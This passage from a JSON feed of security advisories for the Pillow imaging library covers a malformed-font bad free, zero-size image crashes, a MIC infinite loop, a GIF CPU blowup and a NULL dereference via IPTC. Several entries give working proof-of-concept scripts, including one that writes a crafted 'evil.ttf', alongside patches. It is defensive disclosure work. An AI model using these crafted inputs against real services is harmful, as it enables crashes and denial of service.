argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API. ### Author Chanu Kang (from CysecLab at KAIST) @HLe4s"}, {"id": "CVE-2026-112893", "fix_versions": ["13.0.0"], "aliases": ["GHSA-j4m9-6w36-pw47"], "description": "### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = \"Tests/fonts/FreeMono.ttf\" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")]) loca_long = tt[\"head\"].indexToLocFormat tt.close() raw = bytearray(open(SRC, \"rb\").read()) nt = struct.unpack(\">H\", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode(\"latin-1\") off, length = struct.unpack(\">II\", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0] if loca_long: o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(\">h\", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open(\"evil.ttf\", \"wb\").write(raw) f = ImageFont.truetype(\"evil.ttf\", 20) # face opens d = ImageDraw.Draw(Image.new(\"RGB\", (64, 64))) d.text((0, 0), \"A\", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`."}, {"id": "CVE-2026-112392", "fix_versions": ["13.0.0"], "aliases": ["GHSA-27h8-gf7j-v5hc"], "description": "``` ============================================================================ NULL dereference in ImagingExpand via rank filters on zero-size images Location: src/libImaging/Filter.c:79 in ImagingExpand() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption. The fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode. Zero-size images reach this point through public API alone: - `Image.crop()`, `ImageOps.crop()` and `Image.new()`; - a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed. Every other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w. The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included. ## Details `ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising: ```python from PIL import Image, ImageFilter im = Image.new(\"L\", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right im.filter(ImageFilter.MedianFilter(3)) # SIGSEGV ``` Under gdb on the stock build the fault is at `ImagingExpand (imIn=\u2026, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally. The unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` (\"Fix 0-width and 0-height images other way\", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 \u2014 same `expand()` \u2192 `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size. The path: ```python # src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it) image = image.expand(self.size // 2) return image.rankfilter(self.size, self.rank) ``` `expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) \u00d7 (ysize+2*margin)` \u2014 which is non-empty, so the allocation succeeds \u2014 and then fills the margin by replicating edge pixels of the input: ```c // src/libImaging/Filter.c:70-101 imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); \u2026 #define EXPAND_LINE(type, image, yin, yout) \\ { \\ for (x = 0; x < margin; x++) { \\ imOut->image[yout][x] = imIn->image[yin][0]; \\ // line 79 } \\ \u2026 \\ for (x = 0; x < margin; x++) { \\ imOut->image[yout][margin + imIn->xsize + x] = \\ imIn->image[yin][imIn->xsize - 1]; \\ // [-1] when xsize == 0 } \\ } #define EXPAND(type, image) \\ { \\ for (y = 0; y < margin; y++) { \\ EXPAND_LINE(type, image, 0, y); \\ // line 0 of a 0-line image } \\ \u2026 for (y = 0; y < margin; y++) { \\ EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \\ // line -1 when ysize == 0 } \\ } ``` Why the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image: ```c // src/libImaging/Storage.c:423-426 /* 0-width or 0-height image. No need to do anything */ if (!im->linesize || !im->ysize) { return im; } ``` So with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached. Zero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only: - `Image.crop(box)` rejects only inverted boxes (`src/PIL/Image.py:1385-1390`); `left == right` or `upper == lower` yields a 0\u00d7N / N\u00d70 image. `ImageOps.crop(im, border)` with `border == width // 2`, and `Image.new(mode, (0, n))`, do the same. - From a file: `ImageFile.__init__` refuses a zero first-frame size (`src/PIL/ImageFile.py:167-173`), but `TiffImagePlugin._setup()` takes `ImageWidth`/`ImageLength` of every later IFD as-is on `seek()` (`src/PIL/TiffImagePlugin.py:1468-1481`). For an uncompressed page of an image opened by path, `ImageFile.load()` takes the mmap branch (`src/PIL/ImageFile.py:307, 325-347`) and `Image.core.map_buffer` builds an `8\u00d70` core image without complaint (`src/map.c:127-141`), so `im.seek(1); im.load()` succeeds and a following `im.filter(ImageFilter.MedianFilter(3))` segfaults in `ImagingExpand` exactly as above (verified under gdb: `imIn->ysize = 0`, `imIn->image[0] = 0x0`). A 384-byte two-page TIFF is enough. ## Impact Denial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) \u2014 a box with `x0 == x1` or `y0 == y1` passes `crop()` and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each \u2014 a crafted second IFD with `ImageLength = 0` crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the `[-1]` cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in `ImagingOffset` in 39d14a0db (GHSA-f87v-9578-p47w). ## Reproducing `repro` is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds `Image.new(\"L\", (10, 10)).crop(box)`, prints its size, calls `im.filter(...)` and then prints the size of the result. - **Control**: a `(1, 10)` crop (`(3, 0, 4, 10)`) through `MedianFilter(3)`. The rank filter accepts a thin image and must return normally. - **PoC**: the rank filters on empty crops. - A `(0, 10)` crop (`left == right`, `(3, 0, 3, 10)`) through `MedianFilter(3)` and `MaxFilter(5)`. - A `(10, 0)` crop (`upper == lower`, `(0, 3, 10, 3)`) through `MinFilter(3)`. - A `(0, 0)` crop (`(3, 3, 3, 3)`) through `RankFilter(3, 4)`. Expected output on the stock build: ``` crop(3, 0, 4, 10) MedianFilter(3) (1, 10) -> (1, 10) crop(3, 0, 3, 10) MedianFilter(3) (0, 10) -> killed by SIGSEGV crop(3, 0, 3, 10) MaxFilter(5) (0, 10) -> killed by SIGSEGV crop(0, 3, 10, 3) MinFilter(3) (10, 0) -> killed by SIGSEGV crop(3, 3, 3, 3) RankFilter(3, 4) (0, 0) -> killed by SIGSEGV BUG ``` The size printed before `->` shows that the empty image was created without error. The crash happens inside `filter()`, in `ImagingExpand`. The last line is `BUG` if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is `OK`. The script covers the crop route only; the TIFF route described above fails the same way (`im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3))` on a by-path two-page TIFF whose second IFD has `ImageLength = 0`). With the attached patch, every PoC line prints the unchanged size (for example `(0, 10) -> (0, 10)`) and the script prints `OK`. ## Suggested fix The attached patch handles the empty input in `ImagingExpand` (`src/libImaging/Filter.c`), right after the `margin` checks and before the `ImagingNewDirty` allocation and the replication loops. With `xsize == 0` or `ysize == 0` there are no edge pixels to replicate, so it returns a zeroed (`ImagingNew`, not `ImagingNewDirty`) image of the expanded size, with the input's palette copied. This keeps `ImagingExpand`'s size contract, so `ImagingRankFilter` then produces an output of `xsize - 2*margin` \u00d7 `ysize - 2*margin`, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in `src/libImaging/BoxBlur.c` (127004368) and `src/libImaging/Offset.c` (39d14a0db): ```diff --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError(\"filter size too large\"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` The patch also adds `test_rankfilter_zero_dimension` next to `test_rankfilter_error` in `Tests/test_image_filter.py`, which filters `Image.new(\"L\", size)` for `size` in `((0, 6), (6, 0), (0, 0))` with `MinFilter`, `MedianFilter`, `MaxFilter` and `RankFilter(3, 2)` and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Tests/test_image_filter.py` passes. A Python-level guard in `RankFilter.filter` (`if 0 in image.size: return image.copy()`) would also stop the crash, but the C-level check protects any other caller of `expand()`. ## The patch Return a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers Applies to `src/libImaging/Filter.c` at the commit above. ```diff diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py index 974d4b7a3..8dc8e1a1a 100644 --- a/Tests/test_image_filter.py +++ b/Tests/test_image_filter.py @@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None: im.filter(filter).getpixel((1, 1)) +@pytest.mark.parametrize( + \"filter\", + ( + ImageFilter.MinFilter, + ImageFilter.MedianFilter, + ImageFilter.MaxFilter, + ImageFilter.RankFilter(3, 2), + ), +) +@pytest.mark.parametrize(\"size\", ((0, 6), (6, 0), (0, 0))) +def test_rankfilter_zero_dimension( + filter: ImageFilter.RankFilter, size: tuple[int, int] +) -> None: + im = Image.new(\"L\", size) + assert im.filter(filter).size == size + + def test_rankfilter_properties() -> None: rankfilter = ImageFilter.RankFilter(3, 2) diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c index 3492a871f..d702db5f9 100644 --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError(\"filter size too large\"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` ## The reproducer
Reproducer \u2014 repro, 1,333 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image # SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read. # Each case runs in a child interpreter; BUG if the control returns and any # zero-size case dies of SIGSEGV. import signal, subprocess, sys CHILD = \"\"\" import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) from PIL import Image, ImageFilter im = Image.new(\"L\", (10, 10)).crop(%s) # public API; crop accepts x0==x1 / y0==y1 print(im.size, \"->\", end=\" \", flush=True) print(im.filter(ImageFilter.%s).size) \"\"\" def run(box, flt): p = subprocess.run([sys.executable, \"-c\", CHILD % (box, flt)], capture_output=True, text=True) out = p.stdout.strip() if p.returncode < 0: out += \" killed by \" + signal.Signals(-p.returncode).name print(f\" crop{box!s:<16} {flt:<18} {out}\") return p.returncode ctrl = run((3, 0, 4, 10), \"MedianFilter(3)\") # (1,10): must work rcs = [run((3, 0, 3, 10), \"MedianFilter(3)\"), # (0,10) run((3, 0, 3, 10), \"MaxFilter(5)\"), run((0, 3, 10, 3), \"MinFilter(3)\"), # (10,0) run((3, 3, 3, 3), \"RankFilter(3, 4)\")] # (0,0) bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs) print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112891", "fix_versions": ["13.0.0"], "aliases": ["GHSA-fc9g-5qg7-mf45"], "description": "On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits."}, {"id": "CVE-2026-112405", "fix_versions": ["13.0.0"], "aliases": ["GHSA-cp9v-662q-vvx9"], "description": "### Summary `Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it. ### Details The validation loop skips band 0: - `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those. For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes: - `src/libImaging/Bands.c:302`, `:311`, `:321` The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0: - `src/PIL/IptcImagePlugin.py:156-160` - `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function. ### PoC ```python from PIL import Image # Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only # bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new(\"I\", (4, 4)) Image.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))]) ``` Run it: ``` $ python 02_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 ImagingMerge src/libImaging/Bands.c:311 #1 _merge src/_imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge ``` The null address confirms the dereference of the missing `image8` plane for band 0. ### Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch."}, {"id": "CVE-2026-112390", "fix_versions": ["13.0.0"], "aliases": ["GHSA-22hg-r758-rrw9"], "description": "``` ============================================================================ Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it. The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress: - `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index. - `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`. As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds. ## Details `MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever. A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1\u00d71 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is ``` File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames ``` and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration \u2014 identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`. The loop, `src/PIL/TiffImagePlugin.py:1212`: ```python @property def n_frames(self) -> int: current_n_frames = self._n_frames if current_n_frames is None: current = self.tell() self._seek(len(self._frame_pos)) while self._n_frames is None: self._seek(self.tell() + 1) # 1219 self.seek(current) ``` and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`: ```python def seek(self, frame: int) -> None: \u2026 self.fp = self.ole.openstream(filename) TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None self.frame = frame def tell(self) -> int: return self.frame # 87: OLE stream index, not TIFF __frame ``` For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end. For a MIC file, `Image.open` \u2192 `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` \u2192 `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded \u2014 IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are. `Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`. A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` \u2014 visible with `save_all=True`. ## Impact Any application that lets Pillow open an uploaded file and then reads `im.n_frames` \u2014 the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) > 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` \u2014 can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`. It builds two things in code: - `tiff(n)`: an `n`-page TIFF of 4\u00d74 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0. - `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes. It runs three inputs, each in its own child process with a hard 20-second kill: 1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`. 2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`. 3. attack: the same MIC container wrapping the 3-page TIFF. The timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop. The script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`. ## Suggested fix The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`: ```diff TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame ``` Doing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69\u201370 of `_open` are kept: the initial `seek(0)` \u2192 `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`. The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`. ## The patch Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever Applies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check \u2014 applied to a clean tree, rebuilt, the reproducer stopped firing \u2014 but a reviewer did not endorse it as the right fix. ```diff diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py index f8cf3a76f..2bb0109ce 100644 --- a/src/PIL/MicImagePlugin.py +++ b/src/PIL/MicImagePlugin.py @@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile): TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame def tell(self) -> int: ``` ## The reproducer
